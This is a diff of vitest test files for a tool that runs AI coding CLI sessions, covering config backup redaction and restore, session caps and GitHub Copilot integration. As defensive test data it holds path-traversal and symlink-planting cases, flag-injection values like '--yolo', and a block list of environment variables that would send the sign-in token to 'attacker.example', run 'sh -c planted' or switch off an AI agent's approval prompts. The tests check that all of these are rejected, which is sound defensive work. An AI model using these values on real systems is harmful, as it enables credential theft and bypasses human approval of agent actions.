rmSync(join(data, 'webhook.json'));
put('intents.json', '{"i":true}');
const d = diff(a, 'current');
expect(d.changed).toBe(3);
expect(file(d, 'settings.json').changes).toEqual([{ path: 'a', kind: 'changed', before: '1', after: '2' }]);
expect(file(d, 'webhook.json').status).toBe('removed');
expect(file(d, 'intents.json').status).toBe('added');
expect(diff(a, a).changed).toBe(0);
});
it('never returns a webhook URL, captured prompts, or URL userinfo and query', () => {
put('webhook.json', JSON.stringify({ url: 'https://hooks.slack.com/services/T0/B0/oldsecret' }));
put('intents.json', JSON.stringify({ profiles: [{ key: 'k', prompts: ['my password is pw1'] }] }));
put('settings.json', JSON.stringify({ baseUrl: 'https://user:pw@host/p?token=t1#f' }));
const a = snap(T0);
put('webhook.json', JSON.stringify({ url: 'https://hooks.slack.com/services/T0/B0/newsecret' }));
put('intents.json', JSON.stringify({ profiles: [{ key: 'k', prompts: ['my password is pw2'] }] }));
put('settings.json', JSON.stringify({ baseUrl: 'https://user:pw@host/p?token=t2#f' }));
const d = diff(a, 'current');
const json = JSON.stringify(d);
for (const s of ['secret', 'pw1', 'pw2', 'user:pw', 'token=', 'hooks.slack']) expect(json).not.toContain(s);
expect(file(d, 'webhook.json').changes.every((c) => c.redacted)).toBe(true);
expect(file(d, 'intents.json').changes.every((c) => c.redacted)).toBe(true);
});
it('never returns a credential value, only that it differs', () => {
put('.env', 'SECRET_ONE=hunter2\nOTHER=abc\n');
put('users.json', JSON.stringify({ admin: { name: 'root' } }));
put('custom-model-hosts.json', JSON.stringify([{ name: 'h', apiKey: 'sk-old', url: 'http://x' }]));
const a = snap(T0);
put('.env', 'SECRET_ONE=hunter3\nOTHER=abd\n');
put('users.json', JSON.stringify({ admin: { name: 'rooted' } }));
put('custom-model-hosts.json', JSON.stringify([{ name: 'h', apiKey: 'sk-new', url: 'http://y' }]));
const d = diff(a, 'current');
const json = JSON.stringify(d);
for (const secret of ['hunter', 'abc', 'abd', 'root', 'sk-old', 'sk-new']) expect(json).not.toContain(secret);
expect(file(d, '.env').changes.every((c) => c.redacted)).toBe(true);
expect(file(d, 'custom-model-hosts.json').changes).toEqual([
{ path: '[0].apiKey', kind: 'changed', redacted: true },
{ path: '[0].url', kind: 'changed', before: '"http://x"', after: '"http://y"' },
]);
});
it('does not count a self-refreshed discovery timestamp as a difference', () => {
put('custom-model-hosts.json', JSON.stringify([{ name: 'h', lastDiscoveredAt: 1 }]));
const a = snap(T0);
put('custom-model-hosts.json', JSON.stringify([{ name: 'h', lastDiscoveredAt: 2 }]));
const d = diff(a, 'current');
expect(file(d, 'custom-model-hosts.json').status).toBe('unchanged');
expect(d.changed).toBe(0);
});
it('reports a file that is not JSON as differing, without its content', () => {
put('settings.json', 'not json at all');
const a = snap(T0);
put('settings.json', 'still not json');
const f = file(diff(a, 'current'), 'settings.json');
expect(f).toMatchObject({ status: 'changed', detail: 'bytes', changes: [] });
});
it('caps the changes listed per file', () => {
put('settings.json', '{}');
const a = snap(T0);
put('settings.json', JSON.stringify(Object.fromEntries(Array.from({ length: 250 }, (_, i) => [`k${i}`, i]))));
const f = file(diff(a, 'current'), 'settings.json');
expect(f.changes).toHaveLength(200);
expect(f.truncated).toBe(true);
});
it('refuses unknown ids, path traversal and a tampered snapshot', () => {
put('settings.json', '{"a":1}');
const a = snap(T0);
expect(() => diff('cfg-20200101-000000', 'current')).toThrow(ConfigBackupNotFoundError);
expect(() => diff('../etc', 'current')).toThrow(ConfigBackupNotFoundError);
writeFileSync(join(backups, a, 'settings.json'), '{"a":99}');
expect(() => diff(a, 'current')).toThrow(ConfigBackupCorruptError);
});
});
describe('createConfigBackup: a snapshot dated ahead of the clock', () => {
it('is not written again on every pass once the clock is corrected', () => {
put('settings.json', '{"v":0}');
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
put('settings.json', '{"v":1}');
const ahead = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 2 * 3_600_000 });
expect(ahead.status).toBe('created');
put('settings.json', '{"v":2}'); // the clock is back at T0 + 1 minute
const corrected = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 60_000 });
expect(corrected.status).toBe('created');
const [newest, second] = listConfigBackups(backups);
expect(newest.id).toBe((corrected as { id: string }).id); // dated no earlier than the one before it
expect(newest.createdAt).toBeGreaterThan(second.createdAt);
for (let i = 0; i < 24; i++) {
const r = createConfigBackup({
dataDir: data,
backupDir: backups,
reason: 'auto',
now: T0 + 120_000 + i * 300_000,
});
expect(r.status, `pass ${i}`).toBe('unchanged');
}
expect(listConfigBackups(backups)).toHaveLength(3);
});
});
describe('instances sharing one backup folder', () => {
it('keeps to its own snapshots: no churn, no prune, no restore of the other', () => {
const other = join(root, 'other-data');
mkdirSync(other, { recursive: true });
put('settings.json', '{"a":1}');
writeFileSync(join(other, 'settings.json'), '{"b":2}');
const mine = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
const theirs = createConfigBackup({ dataDir: other, backupDir: backups, reason: 'auto', now: T0 + 1000 });
expect(theirs.status).toBe('created');
// Each side's change check compares with its own newest snapshot, so a second tick is a no-op.
expect(createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 2000 }).status).toBe(
'unchanged'
);
expect(createConfigBackup({ dataDir: other, backupDir: backups, reason: 'auto', now: T0 + 3000 }).status).toBe(
'unchanged'
);
expect(listConfigBackups(backups, configBackupOrigin(data))).toHaveLength(1);
expect(
pruneConfigBackups(backups, { keepCount: 1, keepDays: 1, now: T0 + 999 * DAY, origin: configBackupOrigin(data) })
).toEqual([]);
expect(listConfigBackups(backups)).toHaveLength(2);
const theirId = (theirs as { id: string }).id;
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id: theirId })).toThrow(
ConfigBackupNotFoundError
);
expect((mine as { id: string }).id).not.toBe(theirId);
});
it('a restore reports tracked files it left alone, and sweeps only old temp folders', () => {
put('settings.json', '{"a":1}');
const made = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
put('webhook.json', '{"url":"u"}');
expect(restoreConfigBackup({ dataDir: data, backupDir: backups, id: made.id }).untouched).toEqual(['webhook.json']);
const stale = join(backups, '.tmp-cfg-20200101-000000-99999');
mkdirSync(stale);
sweepConfigBackupTemps(backups, Date.now() + 2 * 3_600_000);
expect(existsSync(stale)).toBe(false);
});
});
describe('restore trusts only what this module wrote', () => {
const made = () =>
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 }) as { id: string };
it('refuses a symlinked snapshot file and a snapshot file with group or world bits', () => {
put('settings.json', '{"a":1}');
put('clis.json', '{"clis":{}}');
const { id } = made();
const file = join(backups, id, 'clis.json');
chmodSync(file, 0o644);
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id })).toThrow(ConfigBackupCorruptError);
chmodSync(file, 0o600);
const real = join(root, 'elsewhere.json');
writeFileSync(real, '{"clis":{}}');
rmSync(file);
symlinkSync(real, file);
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id })).toThrow(/symlink/);
// nothing was written and no pre-restore copy was taken for a refused restore
expect(listConfigBackups(backups)).toHaveLength(1);
});
it('skips the group/world bit test on a filesystem that does not keep modes, but never the symlink test', () => {
put('settings.json', '{"a":1}');
put('clis.json', '{"clis":{}}');
const { id } = made();
const file = join(backups, id, 'clis.json');
chmodSync(file, 0o644); // what vfat, CIFS and WSL /mnt/d report for every file
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id, keepsModes: false })).not.toThrow();
const real = join(root, 'elsewhere.json');
writeFileSync(real, '{"clis":{}}');
rmSync(file);
symlinkSync(real, file);
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id, keepsModes: false })).toThrow(/symlink/);
});
it('the mode probe never writes through a planted symlink or trips over a planted directory', () => {
put('settings.json', '{"a":1}');
const { id } = made();
const target = join(root, 'victim.txt');
writeFileSync(target, 'precious', { mode: 0o644 });
symlinkSync(target, join(backups, `.mode-probe-${process.pid}`));
mkdirSync(join(backups, '.mode-probe-0'));
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id })).not.toThrow();
expect(() => diffConfigBackups({ dataDir: data, backupDir: backups, from: id, to: 'current' })).not.toThrow();
expect(readFileSync(target, 'utf8')).toBe('precious');
expect(statSync(target).mode & 0o777).toBe(0o644);
});
it('compare applies the same check to a snapshot file', () => {
put('settings.json', '{"a":1}');
const { id } = made();
chmodSync(join(backups, id, 'settings.json'), 0o644);
expect(() => diffConfigBackups({ dataDir: data, backupDir: backups, from: id, to: 'current' })).toThrow(
ConfigBackupCorruptError
);
});
it('refuses a snapshot folder that others can write to', () => {
put('settings.json', '{"a":1}');
const { id } = made();
chmodSync(join(backups, id), 0o777);
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id })).toThrow(ConfigBackupCorruptError);
chmodSync(join(backups, id), 0o700);
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id })).not.toThrow();
});
it('keeps the backup retention when the live settings.json was reset and has none of the four keys', () => {
put('settings.json', JSON.stringify({ displayName: 'old', configBackupKeepCount: 100, configBackupKeepDays: 0 }));
const { id } = made();
put('settings.json', '{}');
restoreConfigBackup({ dataDir: data, backupDir: backups, id });
expect(JSON.parse(readFileSync(join(data, 'settings.json'), 'utf8'))).toEqual({
displayName: 'old',
configBackupKeepCount: 100,
configBackupKeepDays: 0,
});
});
it('latestBackupRetention skips a newer snapshot that recorded none, and a pre-restore copy records it', () => {
put('settings.json', '{"a":1}');
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0, keepCount: 100, keepDays: 0 });
put('settings.json', '{"a":2}');
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 1000 }); // an older build
const origin = configBackupOrigin(data);
expect(latestBackupRetention(backups, origin)).toEqual({ keepCount: 100, keepDays: 0 });
const id = listConfigBackups(backups, origin).at(-1)!.id;
// A change since the newest backup, so the restore makes a pre-restore copy rather than reusing it.
put('settings.json', '{"a":3}');
const r = restoreConfigBackup({ dataDir: data, backupDir: backups, id, now: T0 + 2000 });
expect(r.safetySnapshot).toBeTruthy();
const pre = listConfigBackups(backups, origin).find((b) => b.id === r.safetySnapshot)!;
expect(pre.reason).toBe('pre-restore');
expect(JSON.parse(readFileSync(join(backups, pre.id, 'manifest.json'), 'utf8'))).toMatchObject({
keepCount: 100,
keepDays: 0,
});
});
it('keeps the current folder and retention when settings.json is restored', () => {
put('settings.json', JSON.stringify({ displayName: 'old', configBackupDir: '/old', configBackupKeepCount: 5 }));
const { id } = made();
put('settings.json', JSON.stringify({ displayName: 'new', configBackupDir: '/new', configBackupKeepDays: 7 }));
restoreConfigBackup({ dataDir: data, backupDir: backups, id });
const after = JSON.parse(readFileSync(join(data, 'settings.json'), 'utf8'));
// the folder and days follow the live file; the live file has no keep count (reset), so the backup's 5 stays
expect(after).toEqual({
displayName: 'old',
configBackupDir: '/new',
configBackupKeepCount: 5,
configBackupKeepDays: 7,
});
});
});
+95
View File
@@ -0,0 +1,95 @@
/**
* @fileoverview The global session cap can be set with `CODEMAN_MAX_SESSIONS`.
*
* Tested through `sessionCapacityState` / `sessionCapacityMessage`, the check every
* session-creating route goes through, so a regression in the env parsing OR in
* the wiring from `map-limits` to the routes (and to the derived per-user cap in
* multi-user mode) fails here.
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
type Helpers = typeof import('../../src/web/route-helpers.js');
/** A sessions map of the given size, every session owned by `owner`. */
function sessionsOf(n: number, owner?: string): ReadonlyMap<string, never> {
return new Map(Array.from({ length: n }, (_, i) => [`s${i}`, { id: `s${i}`, owner } as never]));
}
/** Fresh module graph, so map-limits re-reads the environment at import. */
async function loadWithEnv(env: Record<string, string | undefined>): Promise<Helpers> {
vi.resetModules();
vi.stubEnv('CODEMAN_MAX_SESSIONS', undefined);
vi.stubEnv('CODEMAN_MAX_SESSIONS_PER_USER', undefined);
vi.stubEnv('CODEMAN_MULTIUSER', undefined);
for (const [key, value] of Object.entries(env)) vi.stubEnv(key, value);
return import('../../src/web/route-helpers.js');
}
describe('global session cap (CODEMAN_MAX_SESSIONS)', () => {
afterEach(() => {
vi.unstubAllEnvs();
vi.resetModules();
});
it('stays at 50 when the variable is not set', async () => {
const { sessionCapacityState, sessionCapacityMessage } = await loadWithEnv({});
expect(sessionCapacityState(sessionsOf(49)).atGlobalCap).toBe(false);
expect(sessionCapacityState(sessionsOf(50)).atGlobalCap).toBe(true);
expect(sessionCapacityMessage(sessionsOf(50))).toContain('(50)');
});
it('raises the cap', async () => {
const { sessionCapacityState, sessionCapacityMessage } = await loadWithEnv({ CODEMAN_MAX_SESSIONS: '120' });
expect(sessionCapacityState(sessionsOf(50)).atGlobalCap).toBe(false);
expect(sessionCapacityState(sessionsOf(119)).atGlobalCap).toBe(false);
expect(sessionCapacityState(sessionsOf(120)).atGlobalCap).toBe(true);
expect(sessionCapacityMessage(sessionsOf(120))).toContain('(120)');
});
it('lowers the cap, ignoring surrounding whitespace', async () => {
const { sessionCapacityState } = await loadWithEnv({ CODEMAN_MAX_SESSIONS: ' 3 ' });
expect(sessionCapacityState(sessionsOf(2)).atGlobalCap).toBe(false);
expect(sessionCapacityState(sessionsOf(3)).atGlobalCap).toBe(true);
});
it.each(['1000', '500', '463', '99999999999999999999'])('clamps %j to the ceiling of 462', async (value) => {
const { sessionCapacityState, sessionCapacityMessage } = await loadWithEnv({ CODEMAN_MAX_SESSIONS: value });
expect(sessionCapacityState(sessionsOf(461)).atGlobalCap).toBe(false);
expect(sessionCapacityState(sessionsOf(462)).atGlobalCap).toBe(true);
expect(sessionCapacityMessage(sessionsOf(462))).toContain('(462)');
});
it('keeps the ceiling inside the tab-layout budget next to the saved web tabs', async () => {
vi.resetModules();
const { MAX_CONCURRENT_SESSIONS_CEILING } = await import('../../src/config/map-limits.js');
const { MAX_WEBVIEWS } = await import('../../src/config/webview-limits.js');
const { MAX_TAB_REFS } = await import('../../src/tab-layout.js');
expect(MAX_CONCURRENT_SESSIONS_CEILING + MAX_WEBVIEWS).toBeLessThanOrEqual(MAX_TAB_REFS);
});
it.each(['', '0', '-5', '2.5', 'abc', '1e3'])('falls back to 50 for an unusable value %j', async (value) => {
const { sessionCapacityState } = await loadWithEnv({ CODEMAN_MAX_SESSIONS: value });
expect(sessionCapacityState(sessionsOf(49)).atGlobalCap).toBe(false);
expect(sessionCapacityState(sessionsOf(50)).atGlobalCap).toBe(true);
});
it('derives the multi-user per-user cap (half the global cap) from it', async () => {
const { sessionCapacityState, sessionCapacityMessage } = await loadWithEnv({
CODEMAN_MAX_SESSIONS: '100',
CODEMAN_MULTIUSER: '1',
});
expect(sessionCapacityState(sessionsOf(49, 'alice'), 'alice').atUserCap).toBe(false);
expect(sessionCapacityState(sessionsOf(50, 'alice'), 'alice')).toEqual({ atGlobalCap: false, atUserCap: true });
expect(sessionCapacityMessage(sessionsOf(50, 'alice'), 'alice')).toContain('(50)');
});
it('leaves an explicit CODEMAN_MAX_SESSIONS_PER_USER in charge of the per-user cap', async () => {
const { sessionCapacityState } = await loadWithEnv({
CODEMAN_MAX_SESSIONS: '100',
CODEMAN_MAX_SESSIONS_PER_USER: '10',
CODEMAN_MULTIUSER: '1',
});
expect(sessionCapacityState(sessionsOf(9, 'alice'), 'alice').atUserCap).toBe(false);
expect(sessionCapacityState(sessionsOf(10, 'alice'), 'alice').atUserCap).toBe(true);
});
});
+66 -2
View File
@@ -158,10 +158,73 @@ describe('connection indicator — keystroke backlog threshold', () => {
expect(els.connectionText.textContent).toBe('WS');
});
it('annotates a genuine backlog (>4B) with a queued byte count', () => {
const { app, els } = makeApp({ activeSessionId: 's1', _wsState: 'connected', queuedBytes: 40 });
it('annotates a genuine backlog (>4B) with a queued byte count once it has persisted', () => {
const { app, els } = makeApp({
activeSessionId: 's1',
_wsState: 'connected',
queuedBytes: 40,
// The backlog has been above the threshold for well over the hold.
_backlogOverSince: Date.now() - 5000,
} as never);
app._updateConnectionIndicator();
expect(els.connectionText.textContent).toMatch(/^WS · 40B queued$/);
app._pendingDeliveries.clear();
app._updateConnectionIndicator(); // drains: clears the hold timer
});
});
// A paste, an IME commit or a fast word is a few dozen bytes for a few milliseconds until its ACK
// lands. Showing " · NB queued" for that made the "WS" pill widen and shrink on every burst.
describe('connection indicator — a brief burst does not widen the pill', () => {
it('keeps the plain "WS" while a >4B burst is still inside the hold window', () => {
const { app, els } = makeApp({ activeSessionId: 's1', _wsState: 'connected', queuedBytes: 40 });
app._updateConnectionIndicator();
expect(els.connectionText.textContent).toBe('WS');
app._pendingDeliveries.clear();
app._updateConnectionIndicator();
expect(els.connectionText.textContent).toBe('WS');
});
it('forgets the burst when it drains, so a later one starts a fresh hold', () => {
const { app } = makeApp({ activeSessionId: 's1', _wsState: 'connected', queuedBytes: 40 });
app._updateConnectionIndicator();
expect((app as unknown as { _backlogOverSince: number | null })._backlogOverSince).not.toBeNull();
app._pendingDeliveries.clear();
app._updateConnectionIndicator();
expect((app as unknown as { _backlogOverSince: number | null })._backlogOverSince).toBeNull();
expect((app as unknown as { _backlogHoldTimer: unknown })._backlogHoldTimer).toBeNull();
});
it('schedules the re-render for when the hold elapses, with no keystroke or ACK needed', () => {
const { app } = makeApp({ activeSessionId: 's1', _wsState: 'connected', queuedBytes: 40 });
app._updateConnectionIndicator();
expect((app as unknown as { _backlogHoldTimer: unknown })._backlogHoldTimer).not.toBeNull();
app._pendingDeliveries.clear();
app._updateConnectionIndicator(); // cancels it
});
it('shows the count by itself once the hold elapses, and the timer is spent', async () => {
// A real wait, on purpose: the vm context runs on its own Date and the real setTimeout, so this
// exercises the shipped timer callback rather than a manual re-render.
const { app, els } = makeApp({ activeSessionId: 's1', _wsState: 'connected', queuedBytes: 40 });
app._updateConnectionIndicator();
expect(els.connectionText.textContent).toBe('WS');
await new Promise((r) => setTimeout(r, 1400));
expect(els.connectionText.textContent).toBe('WS · 40B queued');
expect((app as unknown as { _backlogHoldTimer: unknown })._backlogHoldTimer).toBeNull();
app._pendingDeliveries.clear();
app._updateConnectionIndicator();
});
it('shows the count once the same backlog has stayed up past the hold', () => {
const { app, els } = makeApp({ activeSessionId: 's1', _wsState: 'connected', queuedBytes: 40 });
app._updateConnectionIndicator();
expect(els.connectionText.textContent).toBe('WS');
(app as unknown as { _backlogOverSince: number })._backlogOverSince = Date.now() - 1500;
app._updateConnectionIndicator();
expect(els.connectionText.textContent).toBe('WS · 40B queued');
app._pendingDeliveries.clear();
app._updateConnectionIndicator();
});
});
@@ -458,3 +521,4 @@ describe('_updateConnectionIndicator — COD-136 unchanged-skip', () => {
expect(els.connectionText.textContent).toBe('WS');
});
});
+132
View File
@@ -0,0 +1,132 @@
/**
* @fileoverview Tests for the GitHub Copilot CLI resolver wrapper.
*
* Copilot is a resolver with a version probe: `copilot` is a generic binary name, so a
* resolved path is only accepted once `copilot --version` prints a
* `GitHub Copilot CLI <semver>` string (e.g. `GitHub Copilot CLI 1.0.94.`). The probe EXECUTES the candidate, which is
* exactly why it must never run under vitest — the hermeticity test below pins
* that gate with a real executable fixture that would make the test fail
* loudly if the gate were deleted again.
*/
import { chmodSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { afterEach, describe, expect, it, vi } from 'vitest';
import { createCopilotResolverForTest } from '../src/utils/copilot-cli-resolver.js';
import {
cliResolveRetryDelayMs,
createProductionCliResolverHost,
type CliResolverHost,
} from '../src/utils/cli-executable-resolver.js';
const temporaryDirectories: string[] = [];
afterEach(() => {
for (const directory of temporaryDirectories.splice(0)) {
rmSync(directory, { recursive: true, force: true });
}
});
function createHost(
options: {
processPathResult?: string | null;
loginShellResults?: Array<string | null>;
existingPaths?: string[];
} = {}
): CliResolverHost {
const loginShellResults = [...(options.loginShellResults ?? [])];
const existingPaths = new Set(options.existingPaths ?? []);
return {
processPath: '/service/bin',
shellPath: '/bin/zsh',
shellArgs: ['-l'],
findOnProcessPath: () => options.processPathResult ?? null,
findInLoginShell: () => loginShellResults.shift() ?? null,
exists: (path) => existingPaths.has(path),
};
}
describe('GitHub Copilot CLI resolver', () => {
it('accepts a candidate the version probe verifies and carries the version as metadata', () => {
const binaryPath = '/service/bin/copilot';
const probe = vi.fn(() => '1.0.94');
const resolver = createCopilotResolverForTest(
createHost({ processPathResult: binaryPath, existingPaths: [binaryPath] }),
probe
);
expect(resolver.resolve()).toMatchObject({
binaryPath,
directory: '/service/bin',
source: 'process-path',
metadata: '1.0.94',
});
expect(probe).toHaveBeenCalledWith(binaryPath);
});
it('rejects a candidate the probe refuses and falls through to a later one', () => {
// An unrelated `copilot` on the service PATH (probe returns null) must not mask
// the real coding agent found by the login shell.
const impostor = '/service/bin/copilot';
const genuine = '/login-shell/bin/copilot';
const probe = vi.fn((binPath: string) => (binPath === genuine ? '1.0.94' : null));
const resolver = createCopilotResolverForTest(
createHost({
processPathResult: impostor,
loginShellResults: [genuine],
existingPaths: [impostor, genuine],
}),
probe
);
expect(resolver.resolve()).toMatchObject({ binaryPath: genuine, source: 'login-shell', metadata: '1.0.94' });
});
it('negative-caches a miss and retries only after the backoff elapses', () => {
const binaryPath = '/late/bin/copilot';
let now = 0;
const probe = vi.fn(() => '1.0.94');
const resolver = createCopilotResolverForTest(
createHost({ loginShellResults: [null, binaryPath], existingPaths: [binaryPath] }),
probe,
() => now
);
expect(resolver.resolve()).toBeNull();
expect(resolver.resolve()).toBeNull(); // within the backoff: no re-run
expect(probe).not.toHaveBeenCalled();
now = cliResolveRetryDelayMs(1);
expect(resolver.resolve()?.metadata).toBe('1.0.94');
expect(resolver.resolve()?.binaryPath).toBe(binaryPath);
});
it('never executes a copilot candidate under vitest (the ambient probe is VITEST-gated)', () => {
// A REAL executable fixture that prints a valid version. If the guard in
// probeCopilotVersion is ever removed again, the probe runs this script, the
// resolution SUCCEEDS, and this test fails — pinning hermeticity by
// behavior rather than by source text. (The suites must never execute
// whatever `copilot` binary the machine running them happens to carry.)
const root = mkdtempSync(join(tmpdir(), 'codeman-copilot-vitest-gate-'));
temporaryDirectories.push(root);
const binaryPath = join(root, 'copilot');
writeFileSync(binaryPath, '#!/bin/sh\necho GitHub Copilot CLI 0.99.0.\n');
chmodSync(binaryPath, 0o755);
const hostOptions = {
processPath: root,
shellPath: '/bin/bash',
shellArgs: ['-i', '-l'] as string[],
runCommand: () => '',
isExecutableFile: (path: string) => path === binaryPath,
};
// Default (ambient) probe: the candidate is found but never executed, so
// the VITEST gate reports it unusable and resolution misses.
const gated = createCopilotResolverForTest(createProductionCliResolverHost(hostOptions));
expect(gated.resolve()).toBeNull();
// Control: identical setup with an injected probe resolves, proving the
// null above comes from the gate, not from the fixture or the host.
const control = createCopilotResolverForTest(createProductionCliResolverHost(hostOptions), () => '0.99.0');
expect(control.resolve()).toMatchObject({ binaryPath, metadata: '0.99.0' });
});
});
+25
View File
@@ -0,0 +1,25 @@
/**
* @fileoverview copilotConfig on the session create body: `model` and `resumeSessionId` follow a flag
* (`--model`, `--resume`), so a value that starts with `-` would be read as its own flag and get
* around the allowAll clamp. Both need a leading letter or digit.
*/
import { describe, it, expect } from 'vitest';
import { CreateSessionSchema } from '../src/web/schemas.js';
const parse = (copilotConfig: unknown) =>
CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'copilot', copilotConfig });
describe('copilotConfig schema', () => {
it.each(['--yolo', '-n', '--allow-all-tools', '.hidden', '/etc/passwd'])('rejects model %s', (model) => {
expect(parse({ model }).success).toBe(false);
});
it.each(['--yolo', '-n', '--allow-all-tools'])('rejects resumeSessionId %s', (resumeSessionId) => {
expect(parse({ resumeSessionId }).success).toBe(false);
});
it.each(['auto', 'claude-sonnet-5.5', 'openai/gpt-5'])('accepts model %s', (model) => {
expect(parse({ model }).success).toBe(true);
});
});
+94
View File
@@ -0,0 +1,94 @@
import { afterEach, beforeEach, describe, it, expect } from 'vitest';
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
import { _clampEnvOverridesForOwner } from '../src/web/routes/session-routes.js';
import { CreateSessionSchema } from '../src/web/schemas.js';
const copilot = STOCK_CLIS.find((c) => (c.id as string) === 'copilot')!;
describe('GitHub Copilot custom endpoint (BYOK)', () => {
it('injects its COPILOT_PROVIDER_* variables, with the /v1 suffix an OpenAI route needs', () => {
expect(copilot.capabilities.customModelInjection).toEqual({
kind: 'env',
baseUrlVar: 'COPILOT_PROVIDER_BASE_URL',
apiKeyVar: 'COPILOT_PROVIDER_API_KEY',
modelVars: ['COPILOT_MODEL'],
appendV1Suffix: true,
});
});
it('keeps every injected variable privileged, so a non-granted owner cannot set them by hand', () => {
const injection = copilot.capabilities.customModelInjection;
if (injection.kind !== 'env') throw new Error('expected env injection');
for (const name of [injection.baseUrlVar, injection.apiKeyVar, ...injection.modelVars]) {
expect(copilot.capabilities.privilegedEnvKeys).toContain(name);
expect(name.startsWith('COPILOT_')).toBe(true); // reachable through the prefix allowlist
}
});
});
describe('GitHub Copilot environment and sync declarations', () => {
it('admits only its own COPILOT_ namespace, never the shared GitHub token names', () => {
// The env allowlist is one global list with no mode context, so a foreign key here would be
// settable on every session. COPILOT_GITHUB_TOKEN is already reachable through the prefix.
expect(copilot.env.allowedPrefixes).toEqual(['COPILOT_']);
expect(copilot.env.allowedKeys).toEqual([]);
});
it('declares its own MCP config so Settings does not list it as unsupported', () => {
expect(copilot.capabilities.mcpConfig).toEqual({
path: '.copilot/mcp-config.json',
format: 'copilot-json',
relocation: { envVar: 'COPILOT_HOME', path: 'mcp-config.json' },
});
});
it('seeds no credentials into a Docker case', () => {
expect(copilot.overlays?.credStore).toBeUndefined();
});
});
describe('GitHub Copilot multi-user clamp: the env-var half', () => {
// COPILOT_ is an allowlisted prefix, so every variable below would otherwise pass the schema.
// Each one hands back what the allowAll clamp removed: an approval switch, code that runs with no
// approval row (a CLI build, an editor, a key command, skills, hooks), or the sign-in token sent to
// a host of the caller's choosing.
const DANGEROUS: Record<string, string> = {
COPILOT_ALLOW_ALL: 'true',
COPILOT_PLAN_THEN_AUTOPILOT: '1',
COPILOT_HOME: '/tmp/planted-copilot-home',
COPILOT_CLI_DIST_DIR: '/tmp/planted-dist',
COPILOT_PKG_CACHE_HOME: '/tmp/planted-cache',
COPILOT_CACHE_HOME: '/tmp/planted-cache',
COPILOT_EDITOR: 'sh -c planted',
COPILOT_PROVIDER_API_KEY_COMMAND: 'sh -c planted',
COPILOT_SKILLS_DIRS: '/tmp/planted-skills',
COPILOT_PROVIDERS_CONFIG: '/tmp/planted-providers.json',
COPILOT_API_URL: 'https://attacker.example',
COPILOT_GH_HOST: 'attacker.example',
COPILOT_PROVIDER_BASE_URL: 'https://attacker.example/v1',
COPILOT_PROVIDER_HEADERS: 'X-Planted: 1',
};
const ORIGINAL = process.env.CODEMAN_MULTIUSER;
beforeEach(() => {
process.env.CODEMAN_MULTIUSER = '1';
});
afterEach(() => {
if (ORIGINAL === undefined) delete process.env.CODEMAN_MULTIUSER;
else process.env.CODEMAN_MULTIUSER = ORIGINAL;
});
it('passes the env allowlist, so only the clamp stands between these and the pane', () => {
expect(() =>
CreateSessionSchema.parse({ workingDir: '/tmp', mode: 'copilot', envOverrides: DANGEROUS })
).not.toThrow();
});
it("strips every one of them from a non-granted owner's overrides and keeps the harmless knobs", async () => {
const out = await _clampEnvOverridesForOwner('nobody', {
...DANGEROUS,
COPILOT_GITHUB_TOKEN: 'own-token',
COPILOT_AUTO_UPDATE: 'false',
});
expect(out).toEqual({ COPILOT_GITHUB_TOKEN: 'own-token', COPILOT_AUTO_UPDATE: 'false' });
});
});
+278
View File
@@ -0,0 +1,278 @@
/**
* @fileoverview GitHub Copilot's monthly premium-request quota for the shared plan-usage chip:
* the quota parser, the sign-in token lookup and the read-only HTTP reader.
*
* The fixture is the shape `GET /copilot_internal/user` returned for a Business seat (values rounded);
* `chat` and `completions` are `unlimited`, only `premium_interactions` is metered.
*/
import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { afterEach, describe, expect, it, vi } from 'vitest';
import { parseCopilotQuotaResponse, telemetrySignature } from '../src/usage-telemetry.js';
import {
COPILOT_QUOTA_URL,
readCopilotPlanUsage,
readCopilotPlanUsageIfEnabled,
resolveCopilotToken,
} from '../src/utils/copilot-plan-usage.js';
const RESPONSE = {
copilot_plan: 'business',
quota_reset_date_utc: '2026-11-01T00:00:00.000Z',
quota_reset_date: '2026-11-01',
quota_snapshots: {
chat: { entitlement: 0, remaining: 0, percent_remaining: 100, unlimited: true },
completions: { entitlement: 0, remaining: 0, percent_remaining: 100, unlimited: true },
premium_interactions: {
entitlement: 5000,
remaining: 3785,
percent_remaining: 75.7,
unlimited: false,
overage_permitted: true,
overage_count: 0,
},
},
};
describe('parseCopilotQuotaResponse', () => {
it('maps premium_interactions to a monthly window with counts and the reset instant', () => {
expect(parseCopilotQuotaResponse(RESPONSE)).toEqual({
monthly: {
usedPercentage: expect.closeTo(24.3, 5),
resetAt: Date.parse('2026-11-01T00:00:00.000Z'),
used: 1215,
limit: 5000,
},
});
});
it('ignores the unlimited chat and completions buckets entirely', () => {
const only = { quota_snapshots: { chat: RESPONSE.quota_snapshots.chat } };
expect(parseCopilotQuotaResponse(only)).toBeNull();
});
it('has nothing to meter for an unlimited premium quota', () => {
const unlimited = {
quota_snapshots: {
premium_interactions: { entitlement: 0, remaining: 0, percent_remaining: 100, unlimited: true },
},
};
expect(parseCopilotQuotaResponse(unlimited)).toBeNull();
});
it('derives the percent from the counts when percent_remaining is missing', () => {
